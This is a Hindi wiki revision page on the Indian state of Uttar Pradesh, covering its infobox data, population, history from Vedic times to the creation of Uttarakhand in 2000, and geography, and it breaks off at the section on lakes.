Difference between revisions of "उत्तर प्रदेश"

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{{सूचना बक्सा राज्य
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{{उत्तर प्रदेश विषय सूची}}
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'''उत्तर प्रदेश''' [[भारत]] की जनसंख्या के आधार पर सबसे बड़ा राज्य है। [[लखनऊ]] प्रदेश की प्रशासनिक राजधानी और [[इलाहाबाद]] न्यायिक राजधानी है। उत्तर प्रदेश के दूसरे महत्त्वपूर्ण नगर- [[आगरा]], [[मथुरा]], [[अलीगढ़]], [[अयोध्या]], [[बरेली]], [[मेरठ]], [[वाराणसी]] (बनारस), [[गोरखपुर]], [[ग़ाज़ियाबाद]], [[मुरादाबाद]], [[सहारनपुर]], फ़ैज़ाबाद और [[कानपुर]] आदि हैं। इस राज्य के पड़ोसी राज्य हैं- [[उत्तराखंड|उत्तरांचल]], [[हिमाचल प्रदेश]], [[हरियाणा]], [[दिल्ली]], [[राजस्थान]], [[मध्य प्रदेश]], [[छत्तीसगढ़]], [[झारखण्ड]] और [[बिहार]]। उत्तर प्रदेश की पूर्वोत्तर दिशा में [[नेपाल]] देश है। उत्तर प्रदेश का क्षेत्रफल 2,40,927 वर्ग कि.मी. है। यह भारत का सर्वाधिक जनसंख्या वाला राज्य है। [[9 नवम्बर]], [[2000]] को इसमें से अलग करके उत्तरांचल राज्य का गठन किया गया था। [[26 जनवरी]], [[1950]] को भारत के गणतंत्र बनने पर राज्य को अपना वर्तमान नाम "उत्तर प्रदेश" मिला था। उत्तर प्रदेश भारत का प्रथम राज्य है, जहाँ कोई महिला [[मुख्यमंत्री]] नियुक्त हुई थी। [[सुचेता कृपलानी]] इस प्रदेश की ही नहीं अपितु भारत के किसी राज्य में मुख्यमंत्री बनने वाली प्रथम महिला थीं।
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====सर्वाधिक आबादी वाला प्रदेश====
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उत्तर प्रदेश सघन आबादी वाले [[गंगा नदी]] और [[यमुना नदी]] के मैदान में बसा है। लगभग 16 करोड़ की जनसंख्या के साथ उत्तर प्रदेश केवल भारत ही नहीं, बल्कि विश्व की सर्वाधिक आबादी वाला उपराष्ट्रीय प्रदेश है। समूचे विश्व के सिर्फ़ पांच राष्ट्रों [[चीन]], भारत, [[संयुक्त राज्य अमरीका|संयुक्त अमरीका]], इंडोनिशिया और ब्राज़ील की जनसंख्या ही उत्तर-प्रदेश की जनसंख्या से अधिक है। उत्तर प्रदेश का भारतीय एवं [[हिन्दू धर्म]] के इतिहास में बहुत योगदान है। उत्तर प्रदेश आधुनिक इतिहास और राजनीति का सदैव से केन्द्र बिन्दु रहा है। यहाँ के निवासियों ने [[सिपाही स्वतंत्रता संग्राम|स्वतन्त्रता संग्राम आन्दोलन]] में प्रमुख भूमिका निभायी थी। [[इलाहाबाद]] शहर में विख्यात नेताओं- [[मोतीलाल नेहरू]], [[पुरुषोत्तमदास टंडन]] और [[लालबहादुर शास्त्री]] आदि प्रमुख नेताओं का घर था। यह प्रदेश, देश के आठ प्रधानमन्त्रियों- [[जवाहरलाल नेहरू]], [[इंदिरा गाँधी]], [[लालबहादुर शास्त्री]], [[चौधरी चरण सिंह]], [[विश्वनाथ प्रताप सिंह]], [[चन्द्रशेखर सिंह|चन्द्रशेखर सिंह]], [[राजीव गांधी]] और [[अटल बिहारी वाजपेयी]] का चुनाव क्षेत्र भी रहा है।
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{{seealso|उत्तर प्रदेश का इतिहास|उत्तर प्रदेश का भूगोल|उत्तर प्रदेश की अर्थव्यवस्था}}
|मंडल=18
 
|ज़िले=71
 
|सबसे बड़ा नगर=[[कानपुर]]
 
|महानगर=[[कानपुर]]
 
|बड़े नगर=[[लखनऊ]], [[इलाहाबाद]], [[आगरा]], [[मेरठ]], [[वाराणसी]], [[ग़ाज़ियाबाद]], [[कानपुर]]
 
|राजभाषा(एँ)=[[हिन्दी भाषा]], [[उर्दू भाषा]]
 
|स्थापना=1950/01/12
 
|मुख्य ऐतिहासिक स्थल=[[वाराणसी]], [[आगरा]], [[इलाहाबाद]], [[कन्नौज]], [[कुशीनगर]], [[कौशाम्बी]], [[चित्रकूट]], झांसी, फ़ैज़ाबाद, [[मेरठ]], [[मथुरा]]
 
|मुख्य पर्यटन स्थल=[[मथुरा]], [[वृन्दावन]], [[आगरा]], [[वाराणसी]], [[अयोध्या]], [[चित्रकूट]], [[फ़तेहपुर सीकरी]], [[सारनाथ]], [[श्रावस्ती]], [[कुशीनगर]]
 
|मुख्य धर्म-सम्प्रदाय=[[हिन्दू धर्म|हिन्दू]], [[इस्लाम धर्म|इस्लाम]], [[ईसाई धर्म|ईसाई]], [[बौद्ध धर्म|बौद्ध]], [[जैन धर्म|जैन]]
 
|लिंग अनुपात=1000:908<ref name="io"/>
 
|साक्षरता=57.36
 
|स्त्री=42.97
 
|पुरुष=70.22
 
|जलवायु=उष्णदेशीय मानसून
 
|तापमान=31 °C
 
|ग्रीष्म=46 °C
 
|शरद=5°C
 
|उच्च न्यायालय=[[इलाहाबाद]]
 
|राज्यपाल=बी. एल. जोशी<ref name="upgov">{{cite web |url=http://upgov.nic.in/default.aspx |title=उत्तर प्रदेश सरकार |accessmonthday=15 मार्च |accessyear=2012 |last= |first= |authorlink= |format=ए.एस.पी |publisher=उत्तर प्रदेश की आधिकारिक वेबसाइट |language=हिन्दी }}</ref>
 
|मुख्यमंत्री=[[अखिलेश यादव]]<ref name="upgov"/>
 
|नेता विरोधी दल=
 
|विधान सभा सदस्य संख्या=404
 
|विधान परिषद सदस्य संख्या=100
 
|लोकसभा क्षेत्र=80
 
|बाहरी कड़ियाँ=[http://upgov.nic.in/ अधिकारिक वेबसाइट]
 
|अद्यतन=
 
|emblem=Uttar Pradesh Logo.gif
 
}}
 
'''उत्तर प्रदेश''' [[भारत]]  की जनसंख्या के आधार पर सबसे बड़ा राज्य है। [[लखनऊ]] प्रदेश की प्रशासनिक राजधानी और [[इलाहाबाद]] न्यायिक राजधानी है। उत्तर प्रदेश के दूसरे महत्त्वपूर्ण नगर- [[आगरा]], [[अलीगढ़]], [[अयोध्या]], [[बरेली]], [[मेरठ]], [[वाराणसी]] (बनारस), [[गोरखपुर]], [[ग़ाज़ियाबाद]], [[मुरादाबाद]], [[सहारनपुर]], फ़ैज़ाबाद, [[कानपुर]]  हैं। इस राज्य के पड़ोसी राज्य हैं - [[उत्तराखंड|उत्तरांचल]], [[हिमाचल प्रदेश]], [[हरियाणा]], [[दिल्ली]], [[राजस्थान]], [[मध्य प्रदेश]], [[छत्तीसगढ़]], [[झारखण्ड]], [[बिहार]]। उत्तर प्रदेश की पूर्वोत्तर दिशा में [[नेपाल]] देश है। उत्तर प्रदेश का क्षेत्रफल 2,40,927 वर्ग किमी. है। यह भारत का सर्वाधिक जनसंख्या वाला राज्य है। 9 नवम्बर, 2000 को इसमें से अलग कर उत्तरांचल राज्य का गठन किया गया।
 
26 जनवरी, 1950 को भारत के गणतंत्र बनने पर राज्य को अपना वर्तमान नाम उत्तर प्रदेश मिला था।
 
==सघन आबादी वाला राज्य==
 
'''उत्तर प्रदेश सघन आबादी वाले''' [[गंगा नदी]] और [[यमुना नदी]] के मैदान में बसा है। लगभग 16 करोड़ की जनसंख्या के साथ उत्तर प्रदेश केवल भारत ही नहीं, बल्कि विश्व की सर्वाधिक आबादी वाला उपराष्ट्रीय प्रदेश है। समूचे विश्व के सिर्फ़ पांच राष्ट्रों [[चीन]], भारत, [[संयुक्त राज्य अमरीका|संयुक्त अमरीका]], इंडोनिशिया और ब्राज़ील की जनसंख्या ही उत्तर-प्रदेश की जनसंख्या से अधिक है। उत्तर प्रदेश का भारतीय एवं [[हिन्दू धर्म]] के इतिहास में बहुत योगदान है। उत्तर प्रदेश आधुनिक इतिहास और राजनीति का सदैव से केन्द्र बिन्दु रहा है। यहाँ के निवासियों ने [[सिपाही स्वतंत्रता संग्राम|स्वतन्त्रता संग्राम आन्दोलन]] में प्रमुख भूमिका निभायी थी। [[इलाहाबाद]] शहर में विख्यात नेताओं- [[मोतीलाल नेहरू]], पुरुषोत्तमदास टन्डन और [[लालबहादुर शास्त्री]] आदि प्रमुख नेताओं का घर था। यह शहर देश के आठ प्रधानमन्त्रियों- [[जवाहरलाल नेहरू]], [[इंदिरा गाँधी]], [[लालबहादुर शास्त्री]], [[चौधरी चरण सिंह]], [[विश्वनाथ प्रताप सिंह]], [[चन्द्रशेखर सिंह|चन्द्रशेखर सिंह]], [[राजीव गांधी]] और [[अटल बिहारी वाजपेयी]] का चुनाव क्षेत्र भी रहा है। इंदिरा गांधी के पुत्र स्वर्गीय संजय गांधी का चुनाव-क्षेत्र भी यही था और आजकल भू.पू. प्रधानमंत्री स्व. राजीव गाँधी की पत्नी श्रीमती [[सोनिया गांधी]] भी [[रायबरेली]] से चुनाव लड़तीं हैं और उनके पुत्र [[राहुल गाँधी]] भी अमेठी से चुनाव लड़ते हैं।
 
==इतिहास==
 
'''उत्तर प्रदेश का इतिहास बहुत प्राचीन है'''। उत्तर प्रदेश के इतिहास को पाँच कालों में बाँटा जा सकता है-प्रागैतिहासिक एवं पौराणिक काल (लगभग 600 ई.पू. तक), [[बौद्ध]]-[[हिन्दू]] ([[ब्राह्मण]]) काल (लगभग 600 ई.पू. से लगभग 1200 ई.), मुस्लिम काल (लगभग 1200 से 1775 ई.), ब्रिटिश काल (लगभग 1775 से 1947 ई.), स्वतंत्रता पश्चात का काल (1947 से वर्तमान तक)। गंगा के मैदान के बीचोंबीच की अपनी स्थिति के कारण उत्तर प्रदेश समूचे उत्तरी भारत के इतिहास का केन्द्र बिन्दु रहा है। [[उत्तर वैदिक काल]] में इसे 'ब्रहर्षि देश' या 'मध्य देश' के नाम से जाना जाता था। उत्तर प्रदेश वैदिक काल में कई महान [[ऋषि]]-[[मुनि|मुनियों]], जैसे - [[भारद्वाज]], [[गौतम]], [[याज्ञवल्क्य]], [[वसिष्ठ]], [[विश्वामित्र]] और [[वाल्मीकि]] आदि की तपोभूमि रहा है। कई पवित्र पुस्तकों की रचना भी यहीं हुई। भारत के दो मुख्य महाकाव्य [[रामायण]] और [[महाभारत]] की कथा भी यहीं की है। [[चित्र:Vishwanath-Temple-Varanasi.jpg|thumb|left|[[विश्वनाथ ज्योतिर्लिंग|विश्वनाथ मन्दिर]], [[वाराणसी]]<br /> Vishwanath Temple, Varanasi]]
 
 
 
ईसा पूर्व छठी शताब्दी में उत्तर प्रदेश में दो नए धर्मों - [[जैन]] और [[बौद्ध]]  का विकास हुआ। [[बुद्ध]] ने अपना प्रथम उपदेश [[सारनाथ]] में दिया और [[बौद्ध धर्म]] की शुरुआत की। उत्तर प्रदेश के ही [[कुशीनगर]] में उन्होंने निर्वाण प्राप्त किया। उत्तर प्रदेश के कई नगर जैसे- [[अयोध्या]], [[प्रयाग]], [[वाराणसी]] और [[मथुरा]] विद्या अध्ययन के लिए प्रसिद्ध केंद्र थे। मध्य काल में उत्तर प्रदेश मुस्लिम शासकों के अधीन हो गया था, जिससे [[हिन्दू]] और [[इस्लाम धर्म]] के पास आने से एक नई मिली-जुली संस्कृति का विकास हुआ। [[तुलसीदास]], [[सूरदास]], [[रामानंद]] और उनके मुस्लिम शिष्य [[कबीर]] के अतिरिक्त अन्य कई संत पुरुषों ने [[हिन्दी]] और अन्य भाषाओं के विकास में अपना बहुमूल्य योगदान दिया।
 
 
 
उत्तर प्रदेश का इतिहास लगभग 4000 वर्ष पुराना है, जब [[आर्य]] यहाँ आये और वैदिक सभ्यता का आरम्भ हुआ, तभी से यहाँ का इतिहास मिलता है। आर्य [[सिन्धु नदी|सिन्धु]] और [[सतलुज नदी|सतलुज]] के मैदानी भागों से यमुना और गंगा के मैदानी भाग की ओर बढ़े। इन्होंने यमुना और गंगा के मैदानी भाग और [[घाघरा नदी|घाघरा]] क्षेत्र को अपना घर बनाया। इन्हीं आर्यों के नाम पर भारत देश का नाम '[[आर्यावर्त]]' अथवा 'भारतवर्ष' (भरत आर्यों के एक चक्रवर्ती राजा थे, जिनके नाम और ख्याति से यह देश भारतवर्ष के नाम से जाना गया) पड़ा।
 
====प्रागैतिहासिक एवं पौराणिक काल====
 
'''[[पुरातत्त्व]] ने उत्तर प्रदेश की आरम्भिक सभ्यता''' पर नई रौशनी डाली है। दक्षिणी ज़िले प्रतापगढ़ में पाई गई मानव खोपड़ियों के अवशेष लगभग 10,000 ई. पू. के बताए गए हैं। वैदिक साहित्य और दो महाकाव्यों, [[रामायण]] व [[महाभारत]] से इस क्षेत्र के सातवीं शताब्दी ई. पू. के पहले की जानकारी मिलती है। जिसमें गंगा के मैदानों का वर्णन उत्तर प्रदेश के अन्तर्गत किया गया है। महाभारत की पृष्ठभूमि राज्य के पश्चिमी हिस्से [[हस्तिनापुर]] के आसपास है, जबकि रामायण की पृष्ठभूमि पूर्वी उत्तर प्रदेश राज्य में भगवान [[राम]] का जन्मस्थान [[अयोध्या]] है। राज्य में दे अन्य पौराणिक स्रोत हैं-[[वृन्दावन]] व [[मथुरा]] के आसपास के क्षेत्र जहाँ [[कृष्ण]] का जन्म हुआ था।
 
 
 
रामायण में हिन्दुओं के भगवान राम का प्राचीन राज्य [[कौशल]] इसी क्षेत्र में था, अयोध्या कौशल राज्य की राजधानी थी। [[हिन्दू धर्म]] के अनुसार भगवान [[विष्णु]] के आठवें अवतार भगवान कृष्ण का जन्म उत्तर प्रदेश के मथुरा शहर में हुआ था। विश्व के प्राचीनतम नगरों में से एक माना जाने वाला वाराणसी शहर भी इसी प्रदेश में है। वाराणसी के समीप सारनाथ का [[स्तूप]] भगवान [[बुद्ध]] के लिए प्रसिद्ध है। समय के साथ साथ यह विशाल क्षेत्र छोटे-छोटे राज्यों में विभाजित हो गया और [[गुप्त]], [[मौर्य]] और [[कुषाण]] साम्राज्यों का भाग बन गया। 7वीं शताब्दी में [[कन्नौज]] गुप्त साम्राज्य का प्रमुख केन्द्र बन गया था।
 
====बौद्ध-हिन्दू (ब्राह्मण) काल====
 
'''सातवीं शताब्दी ई. पू. के अन्त से भारत और उत्तर प्रदेश''' का व्यवस्थित इतिहास आरम्भ होता है, जब उत्तरी भारत में 16 महाजनपद श्रेष्ठता की दौड़ में शामिल थे, इनमें से सात वर्तमान उत्तर प्रदेश की सीमा के अंतर्गत थे। [[बुद्ध]] ने अपना पहला उपदेश वाराणसी (बनारस) के निकट [[सारनाथ]] में दिया और एक ऐसे धर्म की नींव रखी, जो न केवल भारत में, बल्कि [[चीन]] व [[जापान]] जैसे सुदूर देशों तक भी फैला। कहा जाता है कि, बुद्ध को [[कुशीनगर]] में परिनिर्वाण (शरीर से मुक्त होने पर [[आत्मा]] की मुक्ति) प्राप्त हुआ था, जो पूर्वी ज़िले देवरिया में स्थित है। पाँचवीं शताब्दी ई. पू. से छठी शताब्दी ई. तक उत्तर प्रदेश अपनी वर्तमान सीमा से बाहर केन्द्रित शक्तियों के नियंत्रण में रहा, पहले [[मगध]], जो वर्तमान [[बिहार]] राज्य में स्थित था, और बाद में [[उज्जैन]], जो वर्तमान [[मध्य प्रदेश]] राज्य में स्थित है। इस राज्य पर शासन कर चुके इस काल के महान शासकों में [[चन्द्रगुप्त प्रथम]] (शासनकाल लगभग 330-380 ई.) व [[अशोक]] (शासनकाल लगभग 268 या 265-238), जो मौर्य सम्राट थे और [[समुद्रगुप्त]] (लगभग 330-380 ई.) और [[चन्द्रगुप्त द्वितीय]] हैं (लगभग 380-415 ई., जिन्हें कुछ विद्वान विक्रमादित्य मानते हैं)। एक अन्य प्रसिद्ध शासक [[हर्षवर्धन]] (शासनकाल 606-647) थे। जिन्होंने कान्यकुब्ज (आधुनिक [[कन्नौज]] के निकट) स्थित अपनी राजधानी से समूचे उत्तर प्रदेश, बिहार, मध्य प्रदेश, [[पंजाब]] और [[राजस्थान]] के कुछ हिस्सों पर शासन किया।
 
 
 
इस काल के दौरान बौद्ध और हिन्दू (ब्राह्मण) संस्कृति, दोनों का उत्कर्ष हुआ। अशोक के शासनकाल के दौरान बौद्ध कला के स्थापत्य व वास्तुशिल्प प्रतीक अपने चरम पर पहुँचे। गुप्त काल (लगभग 320-550) के दौरान हिन्दू कला का भी अधिकतम विकास हुआ। लगभग 647 ई. में हर्ष की मृत्यु के बाद हिन्दूवाद के पुनरुत्थान के साथ ही बौद्ध धर्म का धीरे-धीरे पतन हो गया। इस पुनरुत्थान के प्रमुख रचयिता दक्षिण [[भारत]] में जन्मे शंकर थे, जो वाराणसी पहुँचे, उन्होंने उत्तर प्रदेश के मैदानों की यात्रा की और [[हिमालय]] में [[बद्रीनाथ]] में प्रसिद्ध मन्दिर की स्थापना की। इसे हिन्दू मतावलम्बी चौथा एवं अन्तिम मठ (हिन्दू संस्कृति का केन्द्र) मानते हैं।
 
====मुस्लिम काल====
 
'''इस क्षेत्र में हालांकि 1000-1030 ई. तक''' मुसलमानों का आगमन हो चुका था, लेकिन उत्तरी भारत में 12वीं शताब्दी के अन्तिम दशक के बाद ही मुस्लिम शासन स्थापित हुआ, जब [[मुहम्मद ग़ोरी]] ने गहड़वालों (जिनका उत्तर प्रदेश पर शासन था) और अन्य प्रतिस्पर्धी वंशों को हराया था। लगभग 600 वर्षों तक अधिकांश भारत की तरह उत्तर प्रदेश पर भी किसी न किसी मुस्लिम वंश का शासन रहा, जिनका केन्द्र [[दिल्ली]] या उसके आसपास था। 1526 ई. में [[बाबर]] ने दिल्ली के सुल्तान [[इब्राहीम लोदी]] को हराया और सर्वाधिक सफल मुस्लिम वंश, [[मुग़ल]] वंश की नींव रखी। इस साम्राज्य ने 200 वर्षों से भी अधिक समय तक उपमहाद्वीप पर शासन किया। इस साम्राज्य का महानतम काल [[अकबर]] (शासनकाल 1556-1605 ई.) का काल था, जिन्होंने [[आगरा]] के पास नई शाही राजधानी [[फ़तेहपुर सीकरी]] का निर्माण किया। उनके पोते [[शाहजहाँ]] (शासनकाल 1628-1658 ई.) ने आगरा में [[ताजमहल]] (अपनी बेगम की याद में बनवाया गया मक़बरा, जो प्रसव के दौरान चल बसी थीं) बनवाया, जो विश्व के महानतम वास्तु शिल्पीय नमूनों में से एक है। शाहजहाँ ने आगरा व दिल्ली में भी वास्तुशिल्प की दृष्टि से कई महत्त्वपूर्ण इमारतें बनवाईं थीं।
 
 
 
उत्तर प्रदेश में केन्द्रित मुग़ल साम्राज्य ने एक नई मिश्रित संस्कृति के विकास को प्रोत्साहित किया। अकबर इसके महानतम प्रतिपादक थे, जिन्होंने बिना किसी भेदभाव के अपने दरबार में वास्तुशिल्प, [[साहित्य]], चित्रकला और [[संगीत]] विशेषज्ञों को नियुक्त किया था। हिन्दुत्व और इस्लाम के टकराव ने कई नए मतों का विकास किया, जो इन दोनों और [[भारत]] की विभिन्न जातियों के बीच आम सहमति क़ायम करना चाहते थे। [[भक्ति आन्दोलन]] के संस्थापक रामानन्द (लगभग 1400-1470 ई.), जिनका दावा था कि, मुक्ति लिंग या जाति पर आश्रित नहीं है और सभी धर्मों के बीच अनिवार्य एकता की शिक्षा देने वाले [[कबीर]] ने उत्तर प्रदेश में मौजूद धार्मिक सहिष्णुता के ख़िलाफ़ अपनी लड़ाई केन्द्रित की। 18वीं शताब्दी में मुग़लों के पतन के साथ ही इस मिश्रित संस्कृति का केन्द्र दिल्ली से लखनऊ चला गया, जो अवध (औध, वर्तमान अयोध्या) के नवाब के अन्तर्गत था और जहाँ साम्प्रदायिक सदभाव के माहौल में [[कला]], साहित्य, संगीत और काव्य का उत्कर्ष हुआ।
 
====ब्रिटिश काल====
 
{{राज्य मानचित्र|float=right}}
 
'''लगभग 75 वर्ष की अवधि में वर्तमान उत्तर प्रदेश''' के क्षेत्र का [[ईस्ट इण्डिया कम्पनी]] (ब्रिटिश व्यापारिक कम्पनी) ने धीरे-धीरे अधिग्रहण किया। विभिन्न उत्तर भारतीय वंशों 1775, 1798 और 1801 में नवाबों, 1803 में सिंधिया और 1816 में [[गोरखा|गोरखों]] से छीने गए प्रदेशों को पहले बंगाल प्रेज़िडेन्सी के अन्तर्गत रखा गया, लेकिन 1833 में इन्हें अलग करके पश्चिमोत्तर प्रान्त (आरम्भ में आगरा प्रेज़िडेन्सी कहलाता था) गठित किया गया। 1856 ई. में कम्पनी ने [[अवध]] पर अधिकार कर लिया और आगरा एवं अवध संयुक्त प्रान्त (वर्तमान उत्तर प्रदेश की सीमा के समरूप) के नाम से इसे 1877 ई. में पश्चिमोत्तर प्रान्त में मिला लिया गया। 1902 ई. में इसका नाम बदलकर संयुक्त प्रान्त कर दिया गया।
 
 
 
1857-1859 ई. के बीच ईस्ट इण्डिया कम्पनी के विरुद्ध हुआ विद्रोह मुख्यत: पश्चिमोत्तर प्रान्त तक सीमित था। 10 मई, 1857 ई. को [[मेरठ]] में सैनिकों के बीच भड़का विद्रोह कुछ ही महीनों में 25 से भी अधिक शहरों में फैल गया। 1858 ई. में विद्रोह के दमन के बाद पश्चिमोत्तर और शेष ब्रिटिश भारत का प्रशासन ईस्ट इण्डिया कम्पनी से ब्रिटिश ताज को हस्तान्तरित कर दिया गया। 1880 ई. के उत्तरार्द्ध में भारतीय राष्ट्रवाद के उदय के साथ संयुक्त प्रान्त स्वतंत्रता आन्दोलन में अग्रणी रहा। प्रदेश ने भारत को [[मोतीलाल नेहरू]], [[मदन मोहन मालवीय]], [[जवाहरलाल नेहरू]] और पुरुषोत्तमदास टंडन जैसे महत्त्वपूर्ण राष्ट्रवादी राजनीतिक नेता दिए। 1922 में भारत में ब्रिटिश साम्राज्य की नींव हिलाने के लिए किया गया [[महात्मा गांधी]] का [[असहयोग आन्दोलन]] पूरे संयुक्त प्रान्त में फैल गया, लेकिन [[चौरी चौरा]] गाँव (प्रान्त के पूर्वी भाग में) में हुई हिंसा के कारण महात्मा गांधी ने अस्थायी तौरर पर आन्दोलन को रोक दिया। संयुक्त प्रान्त [[मुस्लिम लीग]] की राजनीति का भी केन्द्र रहा। ब्रिटिश काल के दौरान रेलवे, नहर और प्रान्त के भीतर ही संचार के साधनों का व्यापक विकास हुआ। अंग्रेज़ों ने यहाँ आधुनिक शिक्षा को भी बढ़ावा दिया और यहाँ पर लखनऊ विश्वविद्यालय (1921 में स्थापित) जैसे विश्वविद्यालय व कई महाविद्यालय स्थापित किए।
 
====स्वतंत्रता पश्चात का काल====
 
'''1947 में संयुक्त प्रान्त नव स्वतंत्र भारतीय गणराज्य की एक''' प्रशासनिक इकाई बना। दो साल बाद इसकी सीमा के अन्तर्गत स्थित, टिहरी गढ़वाल और रामपुर के स्वायत्त राज्यों को संयुक्त प्रान्त में शामिल कर लिया गया। 1950 में नए संविधान के लागू होने के साथ ही संयुक्त प्रान्त का नाम उत्तर प्रदेश रखा गया और यह भारतीय संघ का राज्य बना। स्वतंत्रता के बाद से [[भारत]] में इस राज्य की प्रमुख भूमिका रही है। इसने देश को जवाहर लाल नेहरू और उनकी पुत्री इंदिरा गांधी सहित कई [[प्रधानमंत्री]], सोशलिस्ट पार्टी के संस्थापक आचार्य नरेन्द्र देव, जैसे प्रमुख राष्ट्रीय विपक्षी (अल्पसंख्यक) दलों के नेता और भारतीय जनसंघ, बाद में भारतीय जनता पार्टी व प्रधानमंत्री [[अटल बिहारी वाजपेयी]] जैसे नेता दिए हैं। राज्य की राजनीति, हालांकि विभाजनकारी रही है और कम ही मुख्यमंत्रियों ने पाँच वर्ष की अवधि पूरी की है।
 
====राज्य का विभाजन====
 
'''उत्तर प्रदेश के गठन के तुरन्त बाद''' [[उत्तराखण्ड]] क्षेत्र (गढ़वाल और कुमाऊं क्षेत्र द्वारा निर्मित) में समस्याएँ उठ खड़ी हुईं। इस क्षेत्र के लोगों को लगा कि, विशाल जनसंख्या और वृहद भौगोलिक विस्तार के कारण लखनऊ में बैठी सरकार के लिए उनके हितों की देखरेख करना सम्भव नहीं है। बेरोज़गारी, ग़रीबों और सामान्य व्यवस्था व पीने के पानी जैसी आधारभूत सुविधाओं की कमी और क्षेत्र के अपेक्षाकृत कम विकास ने लोगों को एक अलग राज्य की माँग करने पर विवश कर दिया। [[चित्र:View-Of-Ayodhya-3.jpg|thumb|300px|left|[[अयोध्या]] का एक दृश्य]] शुरू-शुरू में विरोध कमज़ोर था, लेकिन 1990 के दशक में इसने ज़ोर पकड़ा व आन्दोलन तब और भी उग्र हो गया, जब 2 अक्टूबर 1994 को मुज़फ़्फ़रनगर में इस आन्दोलन के एक प्रदर्शन में पुलिस द्वारा की गई गोलीबारी में 40 लोग मारे गए। अन्तत: नवम्बर, 2000 में उत्तर प्रदेश के पश्चिमोत्तर हिस्से से उत्तरांचल के नए राज्य का, जिसमें कुमाऊं और गढ़वाल के पहाड़ी क्षेत्र शामिल थे, गठन किया गया।
 
====प्रथम स्वतन्त्रता संग्राम====
 
'''सन 1857 में अंग्रेज़ी फ़ौज के भारतीय सिपाहियों ने''' बग़ावत कर दी थी। यह बग़ावत लगभग एक वर्ष तक चली और धीरे धीरे यह बग़ावत पूरे उत्तर भारत में फ़ैल गयी। इसी बग़ावत को [[भारत]] का [[सिपाही स्वतंत्रता संग्राम|प्रथम स्वतन्त्रता संग्राम]] नाम दिया गया। यह बग़ावत [[मेरठ]] शहर से शुरू हुई। जिसका कारण [[अंग्रेज़|अंग्रेज़ों]] द्वारा [[गाय]] और सुअर की चर्बी से बने कारतूस थे। इस बग़ावत की वज़ह लॉर्ड डलहौज़ी की राज्य हड़पने की नीति भी थी। यह संग्राम मुख्यतः [[दिल्ली]], [[लखनऊ]], [[कानपुर]], [[झाँसी]] और [[बरेली]] में लड़ा गया। इस संग्राम में [[झांसी की रानी लक्ष्मीबाई]], [[अवध]] की [[बेगम हज़रत महल]], बख़्त खान, [[नाना साहब|नाना साहेब]], [[तात्या टोपे]] आदि अनेक देशभक्तों ने भाग लिया। उत्तर प्रदेश राज्य की बौद्धिक श्रेष्ठता ब्रिटिश शासन काल में भी बनी रही। सन् [[1902]] में 'नार्थ वेस्ट प्रोविन्स' का नाम बदल कर 'यूनाइटिड प्रोविन्स ऑफ आगरा एण्ड अवध' कर दिया गया। साधारण बोलचाल की भाषा में इसे 'यू. पी.' कहा गया। सन् [[1920]] में प्रदेश की राजधानी को इलाहाबाद के स्थान पर लखनऊ बना दिया गया। प्रदेश का उच्च न्यायालय इलाहाबाद में ही बना रहा और लखनऊ में उच्च न्यायालय की एक न्यायपीठ शाखा (हाईकोर्ट बैंच) स्थापित की गयी। बाद में 1935 में इसका संक्षिप्त नाम 'संयुक्त प्रांत' प्रचलित हो गया। स्वतंत्रता प्राप्ति के बाद 12 जनवरी [[1950]] में 'संयुक्त प्रांत' का नाम बदल कर ‘उत्तर प्रदेश’ रखा गया। [[गोविंद बल्लभ पंत]] इस प्रदेश के प्रथम मुख्य मन्त्री बने। अक्टूबर [[1963]] में सुचेता कृपलानी उत्तर प्रदेश और भारत की 'प्रथम महिला मुख्यमन्त्री' बनीं।
 
 
 
सन [[2000]] में भारतीय [[संसद]] ने उत्तर-प्रदेश के उत्तर पश्चिमी, पूर्वोत्तर उत्तर प्रदेश के मुख्यतः पहाड़ी भाग गढ़वाल और कुमाऊँ मण्डल को मिला कर उत्तर प्रदेश को विभाजित कर उत्तरांचल राज्य का निर्माण किया, जिसका नाम बाद में बदल कर [[उत्तराखंड]] कर दिया गया है। उत्तर प्रदेश की अधिकांश [[उत्तर प्रदेश की झीलें|झीलें]] कुमाऊँ क्षेत्र में हैं।
 
 
 
==भूगोल==
 
{| class="bharattable" align="right" style="margin:10px; text-align:center"
 
|+ उत्तर प्रदेश की नदियाँ
 
|-
 
| [[चित्र:Haridwar.jpg|गंगा नदी|200px|center]]
 
|-
 
|<small>[[गंगा नदी]], [[हरिद्वार]]</small>
 
|-
 
| [[चित्र:Yamuna-Mathura-2.jpg|यमुना नदी|200px|center]]
 
|-
 
|<small>[[यमुना नदी]], [[मथुरा]]</small>
 
|-
 
| [[चित्र:Sindhu-River-1.jpg|सिन्धु नदी|200px|center]]
 
|-
 
|<small>[[सिन्धु नदी]]</small>
 
|-
 
| [[चित्र:Ken-River.jpg|केन नदी|200px|center]]
 
|-
 
|<small>[[केन नदी]]</small>
 
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|<small>[[रामगंगा नदी]]</small>
 
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उत्तर प्रदेश के प्रमुख भूगोलीय तत्व इस प्रकार से हैं-
 
====भूमि====
 
*'''भू-आकृति''' - उत्तर प्रदेश को दो विशिष्ट भौगोलिक क्षेत्रों, गंगा के मध्यवर्ती मैदान और दक्षिणी उच्चभूमि में बाँटा जा सकता है। उत्तर प्रदेश के कुल क्षेत्रफल का लगभग 90 प्रतिशत हिस्सा गंगा के मैदान में है। मैदान अधिकांशत: गंगा व उसकी सहायक नदियों के द्वारा लाए गए जलोढ़ अवसादों से बने हैं। इस क्षेत्र के अधिकांश हिस्सों में उतार-चढ़ाव नहीं है, यद्यपि मैदान बहुत उपजाऊ है, लेकिन इनकी ऊँचाई में कुछ भिन्नता है, जो पश्चिमोत्तर में 305 मीटर और सुदूर पूर्व में 58 मीटर है। गंगा के मैदान की दक्षिणी उच्चभूमि अत्यधिक विच्छेदित और विषम [[विंध्य पर्वतमाला]] का एक भाग है, जो सामान्यत: दक्षिण-पूर्व की ओर उठती चली जाती है। यहाँ ऊँचाई कहीं-कहीं ही 305 से अधिक होती है।
 
====नदियाँ====
 
{{main|उत्तर प्रदेश की नदियाँ}}
 
उत्तर प्रदेश में अनेक नदियाँ है जिनमें गंगा, घाघरा, गोमती, यमुना, चम्बल, सोन आदि मुख्य है। प्रदेश के विभिन्न भागों में प्रवाहित होने वाली इन नदियों के उदगम स्थान भी भिन्न-भिन्न है, अतः इनके उदगम स्थलों के आधार पर इन्हें निम्नलिखित भागों में विभाजित किया जा सकता है।
 
#हिमालय पर्वत से निकलने वाली नदियाँ
 
#गंगा के मैदानी भाग से निकलने वाली नदियाँ
 
#दक्षिणी पठार से निकलने वाली नदियाँ
 
====झील====
 
